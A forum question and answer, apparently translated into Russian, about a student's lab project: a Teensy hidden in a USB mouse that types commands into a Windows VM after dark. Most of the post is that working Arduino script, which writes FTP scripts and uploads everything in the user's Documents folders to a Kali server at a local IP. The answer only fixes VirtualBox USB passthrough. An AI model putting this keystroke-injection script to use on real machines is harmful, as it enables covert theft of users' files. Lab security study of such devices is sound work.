VirtualBox Keystroke получает случайные изменения
У меня есть школьный проект об этом безопасности. Моя работа заключается в том, чтобы настроить аппаратную мышь с USB-концентратором и подростком для ее программирования.
Код на подростке исполняется, когда стемнеет (светозависимый резистор). Код берет некоторые файлы на win7 vm и загружает их на сервер Apache2, размещенный на kali vm (с помощью команд cmd в win7 vm). В vmware все работает нормально, но я должен использовать virtualbox для своего проекта.
Моя проблема сейчас в том, что в virtualbox команды cmd случайным образом меняются, например: некоторые буквы меняются с нижнего на верхний регистр, что приводит к неправильному пути, поэтому файлы не могут быть найдены, или иногда отсутствует обратный слеш, который также приводит к неправильному пути.
Как я уже сказал, это только в virtualbox, в vmware весь мой проект работает отлично, поэтому я не думаю, что это аппаратная проблема
Я использую последнюю версию Virtualbox 5.0.12
Это (не факт) образец моего подросткового сценария
CommandAtRunBarMSWIN("cmd");
delay(1500);
Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
delay(50);
Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
delay(50);
Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
delay(3000);
Keyboard.println("bye");
delay(300);
Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
delay(3000);
Keyboard.println("bye");
delay(300);
Keyboard.println("exit");
1 ответ
Я выяснил, в чем проблема. Я забыл вручную связать USB Teensy в Virtualbox с флажком, так что я думаю, что у него были некоторые проблемы с драйверами и тем, чего я не знаю.
Теперь он работает, пока я всегда связываю его вручную в virtualbox, прежде чем запускать его.